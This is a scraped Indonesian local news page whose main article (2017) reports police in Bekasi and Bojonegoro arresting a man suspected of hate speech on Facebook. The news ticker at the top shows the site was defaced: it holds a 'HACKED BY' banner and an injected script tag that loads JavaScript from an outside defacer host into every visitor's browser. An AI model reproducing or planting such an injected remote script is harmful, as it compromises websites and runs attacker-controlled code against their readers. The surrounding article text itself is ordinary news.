News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Polres Metro Bekasi Jemput Warga Bojonegoro Diduga Pelaku Hate Speech

Polres Metro Bekasi Jemput Warga Bojonegoro Diduga Pelaku Hate Speech

Oleh imam Nurcahyo

Bojonegoro Kota - Jajaran Sat Reskrim Polres Metro Bekasi pada Rabu (28/06/2017), sekira pukul 01.00 WIB dini hari tadi, menjemput BI (24) warga Desa Bonorejo Kecamatan Gayam Kabupaten Bojonegoro, yang kesehariannya bekerja disalah satu perusahaan di Bekasi, karena diduga telah melakukan tindak pidana hate speech atau penghinaan dan menyebarkan rasa kebencian melalui media sosial Facebook.

Sebelumnya, sejak Selasa (27/06/17) sekira pukul 10.00 WIB pagi, pelaku telah diamankan di Mapolsek Gayam yang selanjutnya pada Selasa (27/06/17) sekira pukul 22.00 WIB malam, pelaku di bawa ke Mapolres Bojonegoro.

Penangkapan dan penjemputan tersebut sehubungan adanya laporan yang diterima Polres Bekasi, sesuai Laporan Polisi Nomor LP/608A/375-SPKT/K/VI/2017/SPKT/Restro Bekasi, tertanggal 27 Juni 2017.

Saat ini, pelaku telah dibawa jajaran Sat Reskrim Polres Metro Bekasi untuk proses hukum lebih lanjut.

Kasat Reskrim Polres Bojonegoro, AKP Sujarwanto SH, kepada media ini menerangkan bahwa kronologi penangkapan tersebut bermula saat tim Cyber Troopers Polres Bojonegoro yang sedang melaksanakan patroli di dunia maya, pada Selasa (27/06/17) pagi mendapati postingan di Facebook, yang berisikan hate speech atau penghinaan dan menyebarkan rasa kebencian.

“Setelah dilakukan penelusuran, didapati bahwa pemilik akun tersebut diketahui warga Desa Bonorejo Kecamatan Gayam Kabupaten Bojonegoro.” ungkap AKP Sujarwanto SH.

Kasat Reskrim menambahkan, bahwa dalam temuan tersebut, BI didapati telah berkomentar di salah satu grup Facebook lowongan pekerjaan, yang berisikan penghinaan dan menyebarkan rasa kebencian terhadap warga Kota Bekasi, sehingga komentar tersebut menjadi viral dan membuat heboh warga Kota Bekasi. Tidak hanya itu, bahkan tokoh masyarakat Bekasi berencana melakukan demo pada tanggal 3 Juli 2017, guna menuntut pelaku agar segera di tangkap dan di proses sesuai dengan hukum yang berlaku.

Selanjutnya, tim cyber troopers Polres Bojonegoro segera berkoordinasi dengan jajaran Polsek Gayam untuk menyelidiki keberadaan BI dan setelah diketahui BI sedang berada di rumahnya, di Desa Bonorejo Kecamatan Gayam Kabupaten Bojonegoro, oleh anggota Polsek Gayam, BI segera diamankan di Mapolsek Gayam.

“Kemudian Kapolsek Gayam berkoordinasi dengan Sat Reskrim Polres Bojonegoro dan Sat Reskrim Polres Metro Bekasi,” imbuh Kasat Reskrim.

Dari hasil  koordinasi antara Sat Reskrim Polres Bojonegoro dengan Sat Reskrim Polres Metro Bekasi, diperoleh informasi bahwa jajaran Sat Reskrim Polres Metro Bekasi akan menjemput pelaku ke Bojonegoro. Selanjutnya setelah dipastikan bahwa anggota Sat Reskrim Polres Metro Bekasi telah melakukan perjalanan menuju ke Bojonegoro, pada Selasa (27/06/2017) sekira pukul 22.00 WIB, oleh Kapolsek Gayam, pelaku dibawa ke Mapolres Bojonegoro, guna memudahkan proses penyerahan pelaku.

Masih menurut Kasat Reskrim,  pada Rabu (28/06/2017) sekira pukul 00.00 WIB, 3 (tiga) orang anggota dari Sat Reskrim Polres Metro Bekasi yang dipimpin oleh Aiptu Teguh tiba di Mapolres Bojonegoro dan setelah dibuat berita acara serah terima, pelaku diserahkan dan langsung dibawa petugas ke Polres Bekasi, guna menjalani proses hukum lebih lanjut.

Secara terpisah, Kapolres Bojonegoro AKBP Wahyu S Bintoro SH SIK MSi, kepada media ini membenarkan bahwa telah dilakukan penangkapan terhadap warga Kecamatan Gayam, yang diduga telah melakukan tindak pidana penghinaan dan menyebarkan rasa kebencian melalui media sosial Facebook.

"Kita hanya membantu mengamankan pelaku saja, selebihnya penyidikan dilakukan oleh penyidik Polres Metro Bekasi," jelas Kapolres.

Atas perbuatannya, pelaku disangka telah melanggar Pasal 45 Ayat (3) Undang-undang Nomor 19 tahun 2016 tentang Perubahan Atas Undang-Undang Nomor 11 Tahun 2008, tentang Informasi dan Transaksi Elektonik.

“Pelaku diancam dengan pidana penjara paling lama 4 (empat) tahun dan atau denda paling banyak Rp 750 juta” imbuh Kapolres

Melalui media ini, Kapolres juga menghimbau kepada warga masyarakat pada umumnya dan warga masyarakat Bojonegoro khususnya, agar santun dalam bermedia sosial. Sehingga, permasalahan seperti ini tidak kembali terjadi.

"Semoga ini menjadi pelajaran bagi kita semua untuk bersosial media. Santun dan smart dalam menggunakan media sosial adalah bekal kita semua terhindar dari permasalahan seperti ini," pungkas Kapolres. (inc/imm)

Berita Terkait
1783881634.1981 at start, 1783881634.2904 at end, 0.092275857925415 sec elapsed